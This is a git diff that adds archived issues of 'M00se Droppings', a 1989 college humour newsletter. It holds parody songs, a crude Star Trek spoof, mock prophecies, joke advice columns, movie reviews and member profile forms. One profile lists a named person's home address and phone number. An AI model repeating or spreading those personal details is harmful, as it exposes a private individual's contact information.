M-T-A-T is still in the air, help us to pick a weekend. We are still up +in the air about the place of gathering also..(sheesh what do we know?) +- - - - - - - - - - - - - - - - - - - - +If interested in M00se Illuminati T-SHIRT's contact DICKSON@HARTFORD. +- - - - - - - - - - - - - - - - - - - - + Reports of the state of Connecticut floating away are held to be rumors.. +M00ses all over have started to pawn their very own Elvis Presley memorabilia, +to buy rubber m00se shaped rafts. +(For first class ARK tickets contact CLAFFEY_JOR@CTSTATEU) +- - - - - - - - - - - - - - - - - - - - +Stay tuned next issue for the adventures of SPLATMAN and the Boy Blunder!! +- - - - - - - - - - - - - - - - - - - - +There ain't no Thelma here! +-------------------------------------------------------------------------------- +***************************** FICTION AND POETRY ******************************* +-------------------------------------------------------------------------------- + +More Zany songs from the M00sical M00ses.. + + CRAZY THR0NG, Vol. II + ===================== + + Fuzzy Gund the Archm00se + tramped into the room, + he said I have no commitment to this + and I have no commitment to that. + Sad as a lonely little bald m00se, + he said well I don't claim to be happy about this, m00se, + and I don't seem to be happy 'bout that. + + I don't want no part of this crazy thr0ng, + I don't want no part of your thr0ng, + I don't want no part of this crazy thr0ng, + I don't want no part of your thr0ng. + I don't want no part of this crazy thr0ng, + I don't want no part of your thr0ng, + I don't want no part of this crazy thr0ng, + I don't want no part of this crazy thr0ng. + + She says she knows about thr0ngs + this time the thr0ng is after me, + Well, I have no commitment to them, + and they have no commitment to me. + Somebody could trample into this room + and say your fur is on fire, + it's all over the evening boards, + all about the fire on your fur + on the evening boards. + + I don't want no part of this crazy thr0ng, + I don't want no part of your thr0ng, + I don't want no part of this crazy thr0ng, + I don't want no part of your thr0ng. + + Fuzzy Gund the Archm00se + files for his boss, + he says well this will eat up a year of my growth, + and then maybe this thr0ng will get lost. + She says the thr0ng is out for me, + I say the thr0ng is out for her, + I said I have no commitment to them-- + well, we'll just have to wait for the herd. + + I don't want no part of this crazy thr0ng, + I don't want no part of your thr0ng, + I don't want no part of this crazy thr0ng, + I don't want no part of your thr0ng, + I don't want no part of this crazy thr0ng, + I don't want no part of your thr0ng, + I don't want no part of this crazy thr0ng, + I don't want no part of this crazy thr0ng. + + THAT WAS YOUR MA M00SE + ====================== + + A long time ago, bl00p, + before you were born a m00se, + when I was still a calf + and thr0ngs were great, + I held this job as a traveling salesm00se, + that kept me herded from state to state. + + Well I'm standing on the corner of Ellicott, + state of Confusion, + wondering where a city m00se could go, + to get a little conversation + slurp a little red wine, + catch a little bit of those Buffalo m00se, + dancing to Zydem00. + + Along came a young m00se, + she's pretty as a matchbook, + hairy as a hostess on Christmas day, + I said "oh Bl00p!" could this be my luck, + if that's a matchbook, + Lord let us mate! + + Well I'm standing on the corner of Ellicott, + state of Confusion, + wondering what a city m00se could do, + to get her in a convertible, + slurp a little red wine, + dance to the music of Clifton CheM00se + the King of the Bay00 + + Well that was your ma-m00se, + and that was your bull-m00se, + before you were born a m00se, + when thr0ngs were great. + You are the burden of my generation, + but I sure do love you, + so let's celebrate! + + Well I'm standing on the corner of Ellicott, + across the lot from Fargo, + heading down to the Richmond Cafe. + Maybe get a little indigestion, + slurp a little red wine, + standing in the shadow of Clifton CheM00se, + Bl00ping the night away! + + *---BritM00se and Mel0dy, + The Musical M00se. + + +- - - - - - - - - - - - - - - - - - - - - - - - - - - +We have this gem thanx to the folks at Wesleyan... :^) + +Star Trash The Next Generation... +########################################################################## + +[The scene: The U.S.S. Enterprise is in orbit around the planet Toupee, +reputed to be the home of an unknown intelligent race. Worf, Riker, and Troi +have beamed down to the surface. They are standing in a swamp. Back on board +the Enterprise, Data, Wesley, Geordie, Picard, and the token Engineering Chief +from the British Isles are at their stations.] + {Cheesy Theme Music} + +Picard: Number one, report +Riker:We're in a swamp +Picard:(Nervously fingering his bald pate)Not good enough, number one +Riker:We're in a really big swamp, and Troi is lifting up her skirt to avoid + getting her uniform dirty, providing a great view of her legs. +Picard:That's better. Put them on screen, Wesley. +Wesley:Gosh, the landing party, sir? +Picard:No, ensign. Troi's legs. +Wesley:Yes, SIR! I've hit puberty and gosh, it's great! +Geordie:Lookin' good, Troi! +Troi:I feel...male hormones surging around me...it's wonderful +Worf:Growl +Riker:Wait, Captain, there's something moving in the trees. +Troi:I feel...someone's hand on my thigh... +Worf:Let me kill it, sir! +Picard:Cut it out, Number One. +Riker:But it's not me, sir. It's...AAaaaagghhhh!!! +Picard:Number One? Come in, Number One! +Data:We've lost contact, sir + [screen goes blank from Picard's anguished stare + + +Tune in next time for more rehashed plots! + +########################################################################## + +Picking up where we left off... + +Picard:Beam them up immediately! +Token Accent:Aye sir! +Picard:Okay, bridge crew, everyone with intelligence down to the transporter + room. Second rate incompetents, the helm is yours +Ensign Large Blue Squidoid:Hrurh Bluh Gruhuh (Meaning, Thanks, Sir. Gee, Your + head is shiny today.) + {Transporter Room} +Riker:Well, sir, we're back. +Worf:Captain, we've destroyed the hostile life forms. Fuck the Prime + Directive. +Data:Captain, something is amiss. Specifically, I refer to the presence of a + life form superficially resembling human hair on Lt. Worf's skull. +Wesley:Gosh, it looks like Deanna has chest hair. +Troi:Captain, I feel great...embarrassment. Can I show off my thighs again? +Geordie:Good Lord, Riker has one, too! +Data:No, Geordie. That is merely his beard. +Worf:Growl. We should destroy these beings immediately. Besides, I look + like...a human. +Geordie:Why not? You're already a yuppie. +Wesley:Look, Captain, the one on Deanna's chest! It's moving! +Riker:I'll grab it. +Token Accent:Och. I just had to say that. +Picard:I'll deal with this, Number One. +Data:Watch out, sir. + {It jumps onto Picard's head} +Data:It appears to have jumped onto the captain's head. + {Shot closes with close up of Picard's ecstatic face.} + +More soon.... + +(For more episodes send to WITHALL@CTSTATEU and I will send it all...) +-------------------------------------------------------------------------------- +*************************** M00SCELLANEOUS NONSENSE **************************** +-------------------------------------------------------------------------------- + +Here are the next installments of The Prophecies According to Lord Trelf +for May and June. [But first I would like to put in a small topical comment. +My prophecies may be odd, but on one day - Sunday, June 4 - the Chinese +Army marched into a square and killed several hundred students, the +Ayatollah Khomeni died, and two Trans-Siberian Railways trains exploded +next to each other, killing hundreds of children...this shit is stranger than +anything I could come up with.] And now, on to the prophecies ------ + +May - + A quiet month, as the first half of it was spent in world-wide +celebration of the anniversary of the birth of Lord Trelf. Lord Trelf's +actual whereabouts are unknown at that time, but it is rumored that he +has made an abode for himself on the surface of the moon and is +watching over the earth. Almost overnight a major cult springs into being. +It's followers, The Worshippers of His High Holy Trelfness, announce that +they have received direct word from the demi-god that he has been watching +the occurrences of the past months and will eventually take a hand in the +turmoil to restore peace and order in the lands. The Dark Queen laughs +the beliefs off, calling them "even more ridiculous than some of Sonny's +old sexual fantasies regarding me and a pool of.......never mind! Get back +to work!!!!!" Kind Richard of the Low Body-Fat Content was quoted as saying, +"It would be nice if he [Lord Trelf] were watching over our struggle against +the Dark Queen, but it is even more far-fetched than Sonny Bono's old +fantasies about me and a vat of....never mind! Now Side Kicks to the left... +9 more......8 more......." + + Elvis Presley, Consort to the Dark Queen, launched a one-man crusade +against what he called "that )^$%#)^^???!!!!@$#&$****@@@@@@!!!!!" Mr. +Presley was referring to rap music. Joining him, surprisingly, were +Elvis Costello, Paul McCartney, Paul Simon, and Bob Geldof. Calling +themselves "Two Guys Named Elvis, Two Guys Named Paul, and Someone +named Bob Against That Damned Monkey Music", they set out to destroy +all rap singers. + +June - + Nothing happened in June...it rains too damn much in June. +- - - - - - - - - - - - - - - - - - - - - - - - - - - +More insanity from the guy who brought you mollusks... + +Bl00p!!! + Howdy there! Spaceman Biff! on this end of the transmitting +thing-gummy! (Yes, the exclamation point IS part of the nick... aren't +y'all jealous that Y'ALL didn't think to put punctuation into y'all's nicks? +Nyaah, nyaah, nyaah, boo, boo!)) Anyway, I haven't time to write a long +submission, so I'll pose a question for the 0racle, or any other m00se +who might like a crack at it. Here we go: + + If CBS Anchorwoman Connie Chung were to divorce her rock star + husband, Wang, and marry Sean Lingus, the air travel magnate + whose great uncle Fearghal Lingus formed the Irish line + _Aer Lingus_, would it be a violation of FCC rules to broadcast + her full name if she were to compete on an all new version of + the Battle of the Network T & A? ("Just look at that, folks! + Ms. Connie Lingus just lapped Loni Anderson") + + + Just Wondering, + + --Spaceman Biff! + +-------------------------------------------------------------------------------- +******************************** ASK THE ORACLE ******************************** +-------------------------------------------------------------------------------- +More "Ask the Oracle" from Hal Eisen... + +- - - - - - - - - - - - - - - - - - - - - - - - - - - +Where has all the flour gone? + +The Oracle has answered your question as follows: + +Obviously the Questioner has quite a large cockroach problem. The Oracle +will, even though it was not asked, list the two proven effective ways of +eliminating all cockroaches in one's dwelling place: + +1. Plug all the cracks in the house/apartment. Don't forget the door. +Then turn on the water; come back in a week. Note that roaches cannot +breathe water. + +2. Buy a large bottle of boric acid crystals from any drug store. The +theory behind this method is that roaches need hiding places. Simply +use the boric acid in your sandblaster to remove all hiding places +(e.g. the stove) + +While there are less drastic methods, those are for people who have less +drastic problems. + +- - - - - - - - - - - - - - - - - - - - - - - - - - +Have you ever been in love? How did you know that you were? + +The Oracle has answered your question as follows: + +I have indeed been in love several times and in several different +ways. Since I don't know which you mean, I'll try to cover them all. + +First, I have indeed visited the charming French province of Love. As +to how I knew I was there, that was easy. I had taken the right map, +seen the sign that said (in French) Welcome to Love, and could have +further confirmed my location by asking any of the friendly residents +there. Of course, that wouldn't have ruled out the possibility of a +conspiracy against me, so I guess I can't be positive, but it seems +reasonable. Come to think of it, that restaurant DID look a bit +suspicious. But no, enough of that, my doctor has assured me that I +am not the victim of a conspiracy. + +Second, I have also...Wait a minute. That doctor has an accent! He +must be a spy or something! Yes, of course! There is a conspiracy, +and I never was in Love at all! They must have been trying to get +information out of me or something! That little dog that kept following +me must have been the mastermind in disguise! Yes, of course! Wait, +no, STOP! Control...yes, that's it...now where's my medicine? Ah, +ok, take the pill and deep breath. Much better. + +Third, I have been in L.O.V.E., a counter-espionage group. Unfortunately, +I cannot tell you what L.O.V.E. stands for, as it is top-secret. Indeed, +I should not have told you that L.O.V.E. exists, but to hell with them, +they all turned against me anyway! + +Fourth, I was once enamoured of a lovely young woman. Her skin was like +silk, and she had a heart-shaped birthmark, right under her...OK, I +WILL tell you what L.O.V.E. stands for! Why should I be loyal to them +after they betrayed me? Besides, I'm almost positive that two of them +were following my when I was in Love! Damn them! OK, here it is, the +secret that could destroy the world, and it's in your hands: + +<> + +Attention. You will please disregard this message. The man who sent +it was a sick man who only meant to cause trouble. There is no such +place as Love, and certainly no such organisation as L.O.V.E. There +is, in short, no way anyone could possibly be in love. +- - - - - - - - - - - - - - - - - - - - - - - - - - + +-------------------------------------------------------------------------------- +******************************* MEET THE M00SES ******************************** +-------------------------------------------------------------------------------- + + The Official M00se Illuminati Identification Form + + M00seName: Goblin + Chapter Name: Lisa A. Withall + SCA-Name: Undecided (Viking persona) + Life Form: Vegged.. + Sex: Male ___ Female _X_ Hermaphrodite ___ Other ___ + Purity Quotient: _78%_ on months that begin with Z... + Present Residence: 93-31 Clinic Drive + New Britain, CT 06051 + (203)224-7835 + Description: + Age: 20.000 + Height: 5'4" + Hair: Brown + Eyes: Blue + Look mildly athletic and am an average looking mundane..often seen + dressed in jeans and sweatshirts...been sighted in medieval garb from + time to time.. + Music: Vivaldi(four seasons), Dire Straits, Talking Heads, + Scottish and Irish songs, and Rock... + SCA Interests: Brewing, garb making, medieval cooking, armor making, sewing + fighting, and making friends. + Goals: To terraform the universe into a giant Twinkie-Farm/commune. + To get at least one issue of M00se Droppings out on time and + to visit with M00ses from all over the Galaxy. + +-------------------------------------------------------------------------------- +FNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORD +-------------------------------------------------------------------------------- + + + The Official M00se Illuminati Identification Form + + Chapter Name: Thomas Samuel Zemanian + Nickname(s): Spaceman Biff!, Sticklerod, Osbone, MacGyatron + Life Form: "Life?!!! You call this a Life??!!!" + Sex: Male Female ___ When Appropriate XXX + Net Address: See M00selists Purity Quotient: 174.32 ppb. + Description: 220 lbs of rock solid wimp over an avertebral + (spineless) cartilaginous framework molded into + the spirit and image of the guy who used to do the + voice for Charlie the Tuna on the old Starkist com- + mercials before Phil Silver did, only rotated by 90 deg. + Favourite Saying: "When in Rome, do as the Parisians do" + Other Stuff: I like to fish, brew beer, elucidate the equilibria + of high pressure hydrocarbon mixtures, play bass + guitar, handbells, and the inscrutable Tuned Squid, + and in my spare time I make decorative tie-tacs out + of my neighbor's discarded olive pits and SS 304 + hose clamps. + + +Well that's about it. Oh yeah, watch out, piscine world! Lord Trelf +caught a fish recently, and his zeal for piscinocapturotology shows +no signs of abating in the near future. (I must say, though, that I +prefer alluring to abating when I go fishing, but that's just my angle.) +Long Live Lord Trelf! Seig Heil den GrossenZwerg! Viva la Cucharacha +Grande! Omelette du Fromage'! (Those darn French.) + + + Still Lost In The Ozone, + + --Spaceman Biff! + +-------------------------------------------------------------------------------- +Noah's Ark Edition-Noah's Ark Edition-Noah's Ark Edition-Noah's Ark Edition-Noah +-------------------------------------------------------------------------------- diff --git a/textfiles.com/magazines/M00SE/m00se28 b/textfiles.com/magazines/M00SE/m00se28 new file mode 100644 index 00000000..aa60b03c --- /dev/null +++ b/textfiles.com/magazines/M00SE/m00se28 @@ -0,0 +1,431 @@ +-------------------------------------------------------------------------------- +BATM00SE-BATM00SE-BATM00SE-BATM00SE-BATM00SE-BATM00SE-BATM00SE-BATM00SE-BATM00SE +-------------------------------------------------------------------------------- + _ /\ _ _ /\ _ + / \_/\_/ \_/\_/ \ M M 0000 0000 SSSSS EEEEEEE / \_/\_/ \_/\_/ \ + \_____/ () \_____/ MM MM 0 //0 0 //0 S E \_____/ () \_____/ + / \ M M M M 0 // 0 0 // 0 SSSS EEEEE / \ + / \__/ \ M M M 0// 0 0// 0 S E / \__/ \ + /__________\ M M 0000 0000 SSSSS EEEEEEE /__________\ + + DDDD RRRR OOOO PPPPP PPPPP IIIII N N GGGGG SSSSS + D D R R O O P P P P I NN N G S + D D RRRR O O PPPPP PPPPP I N N N G GGG SSSS + D D R R O O P P I N NN G G S + DDDD R R OOOO P P IIIII N N GGGG SSSSS + + A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE + M00SE ILLUMINATI + +Issue #28| Disclaimer: The Editors will place almost anything | June 30, 1989 +---------- in this newsletter out of a frantic desire to fill --------------- +the issue, so don't blame them for the quality or content of the submissions. +Excepting those they may have written themselves, the enclosed items do not in +any way represent the Editors' opinions. In fact, let's be real safe, and say +that as far as this newsletter is concerned, they have no opinions at all. OK? +================================================================================ + +-------------------------------------------------------------------------------- +**************************** EDITORIALS AND LETTERS **************************** +-------------------------------------------------------------------------------- + +Having just seen the Bat on friday there really isn't much to say except WOW.. +"He has such nice toys.."(The Joker) + + + - Goblin WITHALL@CTSTATEU (Bitnet) + - SalmonM00se LEE_JES@CTSTATEU (Bitnet) +-------------------------------------------------------------------------------- +******************************* EVENTS AND NEWS ******************************** +-------------------------------------------------------------------------------- +This just in: A thr0ng of approximately eleven m00ses was seen at the East +Hartford Showcase Cinemas on Friday, the 23rd of June. Some of them were caught +by the Channel 8 News cameras. They fl0cked through the d00rs to catch Batman +on opening night. M00ses from the Wesleyan, CCSU and Hartford Thr0ngs attended. +The m0vie received five bl00ps from Thr0ngel and M00sebert. +- - - - - - - - - - - - - - - - - - - - +If interested in M00se Illuminati T-SHIRT's contact DICKSON@HARTFORD. +-------------------------------------------------------------------------------- +***************************** FICTION AND POETRY ******************************* +-------------------------------------------------------------------------------- + +Greetings my fellow M00ses! + + Due to several occurences recently [and in the future] I've decided +upon something. After learning in my Prophecies that I am to become +a deity in the future, and that Spaceman Biff! [who is NOT a wimp...I wouldn't +want to wrestle him over a fish head] declaring "Long Live Lord Trelf", I've +decided to declare my own Church - "The Followers of His High Holy Trelfness". +This church, and it's followers, will make it's goals to be these - the +improvment of the shelling and cooking of mollusks, especially those +unwashed infidels the Scallops [OOOOOOHHHHH], the bettering of techiniques +designed to cause the decapitation of fish [namely, bait fishing], and +the lining of my pockets with cold hard cash. + +Holy Symbol : The head of a rainbow trout sitting on a can of Foster's Beer. + +Holy Colors : Cobalt Blue, White, and [what the hell] mauve. + +Entrance into the order: + + Very Simple - First, thou must watch the movie "Excalibur". Next, +thou must watch the video of Sam Kinison's "Wild Thing" 300 times in +a row while drinking Foster's beer and ripping the heads from Rainbow +trout. [Be sure to place the fish heads on top of the empty cans]. After +this, you should see the light and flock to me...but before you flock, +be sure to surrender over to me all bank accounts, credit cards, and rebate +stickers. + +Gifts of Lord Trelf: + + Remember, His High Holy Trelfness, Lord Trelf, is a most kind and +benevolent spiritual leader, and will grant many gifts to his followers. +These include eternal happiness, peace of mind, free love [a small nominal +fee], contentment, and this beautiful yet fuctional 20-IN-1 digital watch. + + + So come to me, my M00ses, flock to my banner and revel in my Trelfness. +The universe and all eternity will be yours! + +Copyright: 1989, Ronco Enterprises + +- - - - - - - - - - - - - - - - - - - - - - - - - - - +Another song from those musical m00ses... + + + Have you ever seen a m00se, + fearless and brave, + calm and couth? + + Have you ever seen him run, + scared and cowardly, + from a large gun? + + Have you ever seen him eat, + large portions of hay, + and gleaming wheat? + + Have you ever seen him rest, + in the meadow or forest, + at his personal best? + + Have you ever seen him fight, + another m00se or c0w, + in the day or night? + + Have you ever found a m00se, + that could be your friend, + all hip and loose? + + If you have, you've passed the test, + you've found your calling, + You're one of the best. + + Bl00p! + + *BritM00se* + & + **Mel0dy the Musical M00se** +- - - - - - - - - - - - - - - - - - - - - - - - - - - +More Star Trash... +******************************************************************************** + +Data:Captain, there is an alien life form on your head! +Picard:Nonsense, Data. I simply have a (sigh) full head of hair again. +Data:Nevertheless, it could be dangerous. I suggest we go to the medlab for + some tests. +Troi:Captain, I am feeling... +Riker:You're feeling Wesley. Hands off, kid. +Wesley:Gosh, sir, sorry. +Worf:Hmmm. Giordi, is this look ME? +Giordi:Looks good to me, Worf. +Data:Captain, I must insist. If nothing else, the Chief Medical Officer has + not yet appeared in this episode, and this provides an opportunity for + your smoldering potential romance to receive more screen time. +Picard:No, I can handle this. As you were. Number one, you have the helm. + {Captain's Cabin} +Wesley:Knock knock +Picard:Come, no no, stop thinking about Troi, ensign. +Wesley:Yessir. Well, sir, I was wondering about the alien life form you have + on your head. +Picard:Yes, what about it? +Wesley:Well, sir, Troi says she feels unhappiness radiating from it in great + waves, sir. The one on Worf is apparently happy, but yours is ill, + sir. +Picard:Nonsense, Wesley. I have perfect faith in Counselor Troi's legs, make + that abilities, but this time she is mistaken. + {The alien life form slides off Picard's head, obviously kaput} +Picard:Medteam to the Captian's quarters on the double. Emergency! + {Close with closeup shot of Picard's anguished face} + +******************************************************************************** + + {The Medlab} +Pulaski:Well, it's definitely dead. +Picard:What killed it? +Data:Analysis indicates that the buildup of polishing materials on your scalp, + Captain, was toxic to the organism. +Picard:That's ridiculous. +Data:Captain, you command a ship crewed by an android, a yuppie Klingon, the + bastard son of James T. Kirk, a blind helmsman, the most precocious + humanoid geek in the galaxy, and a walking biorhythms machine, and you + have the gall to call ANYTHING ridiculous? +Picard:Point taken, Data. Number Two? +Crew:Umm, who's that, I dunno, what number are you? +Picard:Never mind. Where's Worf? We must confiscate and examine his lifeform + before it's too late. +Worf:Growl. You called, Captain? +Picard:Yes, Lt. Worf. You must remove the life form from your head and + surrender it to Dr. Pulaski here for examination. One of the creatures + has already died and before anything else happens, I want to know + what's going on. +Worf:Yes, sir (Tries to take it off but it won't budge) Captain, the organism + is attached to my head. Growl! +Data:As I am an android, sir, perhaps I could give it a try, seeing as my + strength is greater than that of any lifeform. +Picard:Go right ahead, Data. + (Data rips the Toupee off Worf's head and suddenly the ship + starts to shudder, red lights sound, and the camera + goes 37 degrees to the left) +Giordi:Data, I told you to cut that stuff out! +Wesley:(Over the intercom)Captain, we're under attack! Gosh! +Picard:We're on our way. Picard out. Let's go, people + + {Closing shot of Picard's determined face} + + +-------------------------------------------------------------------------------- +*************************** M00SCELLANEOUS NONSENSE **************************** +-------------------------------------------------------------------------------- + + June 19, 1989 + +Bl00p! Spaceman Biff! here. + + Okay, after having taken on clams, scallops (oooh), fishkilling, +Saturday Morning Star Trek, Quantum Love, and the Phone Company, it's +time to address the evolution question. Specifically, why do some men +have chest hair and others not? The accepted answer has been that chest +hair is a vestigial tie to our simian past (the When-Our-Ancestors- +Jumped-Down-From-The-Trees-Some-Jumped-Farther-Than-Others theory, first +put forward by Lt. Dr. Coffman, Seoul, Korea, 1956). However, of the +hundreds of stone figurines unearthed from our prehistoric past, NOT ONE +has had deer fur, hemp,etc. glued to its chest to simulate chest hair. +In fact, the earliest reference to chest hair is that in the bible, when +Esau, a swarthy and hairy dude, was cheated out of his inheritance for a +bowl of soup (noone ever said hairy=brainy) by his brother, who was +jealous of the lush growth on his bosom (pardon). The conclusion is +obvious; chest hair developed sometime between prehistoric time (June 19, +100,000 BC) and the Biblical age. + + Now, normally, such mutations persist and dominate the earlier +species due to a biological advantage either created by the mutation or +imposed by the environment. However, jealous younger brats aside, there +has been no particular advantage to hairychestedness; and thus both +varieties of human male have persisted. + + What, then, is chest hair for? I think I have discovered the +answer. It's for storing soap lather in the shower. Thus, with the +invention of the shower in the nineteenth century, a tremendous +biological advantage was created, favoring follicled fronts. For +example, men who can more effectively store soap under a coursing stream +of water will necessarily be cleaner, and thus more attractive to the +female of the species, and thus more likely to propagate. This is the +first known mutation that preceded the need by hundreds upon thousands +of years. In any case, I predict that "smoothies" will die out within +seven thousand years, and that the advantage will eventually be +developed through mutation by the female as well. Blissfully, I will be +dead by then. + + I used no chemicals, my confusion is natural, + + --Spaceman Biff! + +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + In an exercise of pomposity and self-indulgent behavior, I am pleased to +announce the first installment in a perhaps-regular feature: + + PICKLE REVIEWS THE MOVIES + + The title above may change from issue to issue, however, as I feel equally +inclined to tell you how to feel about records and books. For now, however, +it's going to be a movie. So let's get right along with my review of... + + DEAD POETS SOCIETY + + This movie is incredible. By that, of course, I don't mean unbelievable, +I mean amazingly good. It reinforces a fact that is obvious to some of us +already: Literature and writing are the single most important subjects to +learn about in the entire universe. + Engineering and the like are "noble pursuits, and necessary to sustain +life," says Robin Williams in his role as English teacher John Keating. "But +poetry, beauty, love -- these are what we stay alive *for*." + I admit, it is difficult to take Robin Williams seriously at first. One +look at that face and all you can think of is "Hallloooooooo! Shut the fuck +up!" But as soon as he starts teaching his class, you start forgetting that he +is a stand-up comedian. + The other actors are also very good. Unfortunately, I don't recall any of +their names, and I haven't got a paper with me. But watch Neil, Todd, and +Charlie for exceptional performances. The young woman who plays Chris, The +Most Beautiful Girl Knox Overstreet Has Ever Seen In His Life And Who Rates +Pretty High Up On My Scale Too, does that job rather well. She acts, too, and +quickly convinces you that Knox *would* fall in love with her in a single +evening. + Oh, and RoboCop fans, look at Neil's dumb-ass father! Recognize him? +That's right! It's our buddy Clarence Boddicker (sp?), meanest crime-boss in +town! The man is slime, and I hope I see him on-screen a lot more. + What more can I say? I know. The photography is amazing, and the music +is very good. But I think that's about all I can say without giving too much +away. Now, how shall I rate films? I know.... + + DEAD POETS SOCIETY: BL00P BL00P BL00P BL00P BL00P + + That'll be the highest rating I give. If I use some other animal sound +besides that of the majestic m00se, you'll know I really hated it. + You know, this is fun. And it was kind of short, so I think I'll go on. +Now, for Pickle's videotape review of the day: + + EVIL DEAD II + + This movie is great! I laughed so hard I had tears in my eyes! Easily +the funniest movie I've seen all year, probably the funniest since Roger +Rabbit. I have to thank fellow founding m00se Mike Harm for making me watch +this one. + Some background: Evil Dead was a very bad horror film made more than ten +years ago. Some bozo said, "Hey....let's get the same lead actor, rebuild the +set, and make a sequel." + Somebody else, not without justification, pointed out that the first movie +had really sucked goose eggs. + "So, we'll have fun with this one," the bozo said. + Man, did they! I hear that for one scene, where blood is supposed to +squirt out of a hole in a wall, they bought the wrong pump. Blood gushes out +of every possible opening on that side of the room with approximately the force +of a firehose. When they saw the result, the film makers said, "what the hell? +It's funnier that way." + The lead actor is perfect. Faking (obviously) tears for his girlfriend +one minute, looking like a deranged Mel Gibson Road Warrior the next, laughing +in a stark, raving mad fashion at another point, he gets put through hell in +this movie and makes you love every sadistic minute of it. The scene where his +hand gets possessed and beats him senseless with dishes is hysterical. Even +better is when he starts a chainsaw with his teeth and amputates the offensive +little critter, shouting "WHO'S LAUGHING NOW?! WHOOO'S LAUGHING NNOOOWWWW?!?!?" +And that's just the beginning. It gets FAR more deranged, entertaining, and +laugh-riot-ish later on. + The great thing about this movie is that, while we all like to rent bad +movies and laugh at them, this one was made just for that purpose. And so you +can't really say it's bad. It's not a horror film, it's a gruesome comedy, and +a damn funny one. + Only problem with the movie is that they don't tell you that the first +five minutes is a condensed version of the first movie. So when you rent this, +bear in mind that the whole section up until the front door of the house +explodes and the camera rushes toward the main character, and he turns around +and screams, is intro. Yeah, I know it's a bad sentence. Go write your own +movie reviews. + I've heard the first movie isn't worth seeing even as background, so I +haven't watched it. Evil Dead II is thoroughly enjoyable without it. + + EVIL DEAD II: BL00P BL00P BL00P BL00P + + This has been your roving entertainment critic/cynic/snob. If you +disagree with me, your artistic opinions are obviously not worth a damn. + +NOTE: The snobbish, mildly offensive attitude in these reviews is simply part +of getting into character for the reviewing business. Don't take it personally. + +-------------------------------------------------------------------------------- +******************************* MEET THE M00SES ******************************** +-------------------------------------------------------------------------------- + + W W ^ W W + WW WW / \ WW WW + WWWWWW/ \WWWWWW + / {0} \ + / \ + / VVVVVVV \ + / ^^^U^^^ \ + /_____________\ + +Chapter Name: B0liver Shagnasty Chapter (formerly Din0m00se Chapter) +Grand P00bah: Christopher Weller +Bullm00se: C. Weller +Treasurer: Toph "Mad Dog" Weller +Thr0ng: Wilfed Hyde-White thr0ng (formerly Trinity Throng) +Nickname(s): Black Adder, Roach, Dark Qvelle, Hey, You! +Life Form: I'm receiving strange readings, Captain..... +Positions of +Importance: Jester, Trinity Fantasy Guild; High Priest of Isaac Azathoth +bullm00se of Wilfred Hyde-White thr0-- + + +I WON'T INTERRUPT THIS ID FILE FOR A POUND. + + +Sex: Okay, come round my place about 11:30. BYO Mayonaise. +Net Adress: CWELLER@TRINCC Purity Quotient: 55.5% (2/89) +Description: Carbonbasedbipedalcaucasian of Half(insertpointyearraceof + yourchoice) descent approxiamtelyfivefootninebyonehundredfifty + poundsBrownhairBlueeyesand twelvetentacle-likeappendages. + +Favourite Saying: "If you can't say anything nice about anyone, come sit + next to me." + --somebody + +Religion: Relaxed Agnostic. Dunno the answers, ain't lookin' too hard. +Patron dieties: Elvis, Isaac Azath0th +Pet: Lord Siegfried Montgomery Lizardo a fuckin' pesky ferret. +Activities: Trinity College Fantasy Guild (Veep), RPG's (ADND, + Champions, Star Wars), Comic Books, Scifi, Movies, Books, + Writing, Interactive Literature. +College Info: Trinity College (Hartford CT) Class of 91 +Major: East Asian Studies (Nihongo o hanashimaska?) +Other: kimble grumble knock vent whoop! Whoop! Finercrimson + duck duck nurley wang tang Chocobar Galactica! + +-------------------------------------------------------------------------------- +FNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORD +-------------------------------------------------------------------------------- + + + The Official M00se Illuminati Identification Form + + Chapter Name: Kendall Rush + Nickname(s): Satan,Mentat Mode(a Dune(the series) reference), Rasta + Life Form: Subconscious Projection + Sex: Male by birth, Heterosexual By Choice, Monogomist by + Neccessity + Net Address: v096jbxl@ubvmsd Purity Quotient: 64% + but I'm trying + Description: 6'3, ex-high school footballer (lineman), brown eyes, + and black hair, known to be a charmer. + + Favourite Saying: "Every body wants to go to heaven but no one wants to die" + "I hear ya... i'm withya... a thousand points of light." + + Other Stuff: I like any form of music as long as it's not redundant + and/or you can dance to it. Really fond of Reggae and + African Folk as well as Afro-pop. + I can usually found with my nose in a book. + I like hard core punk and when asked how come I + don't look like a punker, my favorite answer is, + "I'm a non-conformist, and in order to prove my + non-conformity you expect me to conform to what + society believes a non-conformist should look like, + and only until I conform to what society thinks, does + the punk community of the place consider me a + non-conformist. This my friend is a what we call a catch + 22 there fore I look like i do because I refuse to + be like anyone says I should be or expects me to be. + I try for true non-conformity." +P.S. + I'm also known for thinking too much and/or for my + Philisophical Bullshit.! + + May The Circle Be Unbroken, + + Mentat M00se + Of The U.B. Giga-Throng + +-------------------------------------------------------------------------------- +BATM00SE-BATM00SE-BATM00SE-BATM00SE-BATM00SE-BATM00SE-BATM00SE-BATM00SE-BATM00SE +-------------------------------------------------------------------------------- diff --git a/textfiles.com/magazines/M00SE/m00se29 b/textfiles.com/magazines/M00SE/m00se29 new file mode 100644 index 00000000..4386ceeb --- /dev/null +++ b/textfiles.com/magazines/M00SE/m00se29 @@ -0,0 +1,278 @@ + +-------------------------------------------------------------------------------- +Tropical Issue-Tropical Issue-Tropical Issue-Tropical Issue-Tropical Issue-Tropi +-------------------------------------------------------------------------------- + _ /\ _ _ /\ _ + / \_/\_/ \_/\_/ \ M M 0000 0000 SSSSS EEEEEEE / \_/\_/ \_/\_/ \ + \_____/ () \_____/ MM MM 0 //0 0 //0 S E \_____/ () \_____/ + / \ M M M M 0 // 0 0 // 0 SSSS EEEEE / \ + / \__/ \ M M M 0// 0 0// 0 S E / \__/ \ + /__________\ M M 0000 0000 SSSSS EEEEEEE /__________\ + + DDDD RRRR OOOO PPPPP PPPPP IIIII N N GGGGG SSSSS + D D R R O O P P P P I NN N G S + D D RRRR O O PPPPP PPPPP I N N N G GGG SSSS + D D R R O O P P I N NN G G S + DDDD R R OOOO P P IIIII N N GGGG SSSSS + + A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE + M00SE ILLUMINATI + +Issue #29| Disclaimer: The Editors will place almost anything | 